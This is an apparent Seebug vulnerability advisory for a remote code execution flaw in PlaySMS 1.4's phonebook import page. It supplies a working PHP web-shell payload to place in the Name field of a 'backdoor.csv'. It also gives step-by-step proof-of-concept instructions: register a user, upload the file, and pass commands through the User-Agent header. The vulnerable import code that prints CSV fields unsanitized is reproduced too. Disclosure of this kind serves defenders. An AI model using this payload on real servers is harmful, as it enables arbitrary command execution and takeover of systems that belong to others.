PlaySMs 1.4 'import.php' Remote Code Execution

2017-05-22T00:00:00
ID SSV:93118
Type seebug
Reporter Root
Modified 2017-05-22T00:00:00

Description

Description

Code Execution using import.php

We know import.php accept file and just read content not stored in server. But when we stored payload in our backdoor.csv and upload to phonebook. Its execute our payload and show on next page in field (in NAME,MOBILE,Email,Group COde,Tags) accordingly .

In My case i stored my vulnerable code in my backdoor.csv files's Name field .

But There is one problem in execution. Its only execute in built function and variable which is used in application.

That why the server not execute our payload directly. Now i Use <?php $a=$_SERVER['HTTP_USER_AGENT']; system($a); ?> in name field and change our user agent to any command which u want to execute command. Bcz it not execute <?php system("id")?> directly .

Example of my backdoor.csv file content ``` ----------------------MY FILE CONTENT------------------------------------ Name Mobile Email Group code Tags <?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?> 22

--------------------MY FILE CONTENT END HERE------------------------------- ```

For More Details : www.touhidshaikh.com/blog/

For Video Demo : https://www.youtube.com/watch?v=KIB9sKQdEwE

Proof of Concept

Login as regular user (created user using index.php?app=main&inc=core_auth&route=register):

Go to : http://127.0.0.1/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list

And Upload my malicious File.(backdoor.csv) and change our User agent.

This is Form For Upload Phonebook. ----------------------Form for upload CSV file ---------------------- &lt;form action=\"index.php?app=main&inc=feature_phonebook&route=import&op=import\" enctype=\"multipart/form-data\" method=POST&gt; " . _CSRF_FORM_ . " &lt;p&gt;" . _('Please select CSV file for phonebook entries') . "&lt;/p&gt; &lt;p&gt;&lt;input type=\"file\" name=\"fnpb\"&gt;&lt;/p&gt; &lt;p class=text-info&gt;" . _('CSV file format') . " : " . _('Name') . ", " . _('Mobile') . ", " . _('Email') . ", " . _('Group code') . ", " . _('Tags') . "&lt;/p&gt; &lt;p&gt;&lt;input type=\"submit\" value=\"" . _('Import') . "\" class=\"button\"&gt;&lt;/p&gt; &lt;/form&gt; ------------------------------Form ends ---------------------------

``` -------------Read Content and Display Content-----------------------

case "import": $fnpb = $FILES['fnpb']; $fnpb_tmpname = $_FILES['fnpb']['tmp_name']; $content = " <h2>" . ('Phonebook') . "</h2> <h3>" . ('Import confirmation') . "</h3> <div class=table-responsive> <table class=playsms-table-list> <thead><tr> <th width=\"5%\">*</th> <th width=\"20%\">" . ('Name') . "</th> <th width=\"20%\">" . ('Mobile') . "</th> <th width=\"25%\">" . ('Email') . "</th> <th width=\"15%\">" . ('Group code') . "</th> <th width=\"15%\">" . ('Tags') . "</th> </tr></thead><tbody>"; if (file_exists($fnpb_tmpname)) { $session_import = 'phonebook_' . PID; unset($_SESSION['tmp'][$session_import]); ini_set('auto_detect_line_endings', TRUE); if (($fp = fopen($fnpb_tmpname, "r")) !== FALSE) { $i = 0; while ($c_contact = fgetcsv($fp, 1000, ',', '"', '\')) { if ($i > $phonebook_row_limit) { break; } if ($i > 0) { $contacts[$i] = $c_contact; } $i++; } $i = 0; foreach ($contacts as $contact) { $c_gid = phonebook_groupcode2id($uid, $contact[3]); if (!$c_gid) { $contact[3] = ''; } $contact[1] = sendsms_getvalidnumber($contact[1]); $contact[4] = phonebook_tags_clean($contact[4]); if ($contact[0] && $contact[1]) { $i++; $content .= " <tr> <td>$i.</td> <td>$contact[0]</td> <td>$contact[1]</td> <td>$contact[2]</td> <td>$contact[3]</td> <td>$contact[4]</td> </tr>"; $k = $i - 1; $_SESSION['tmp'][$session_import][$k] = $contact; } }

------------------------------code ends --------------------------- ```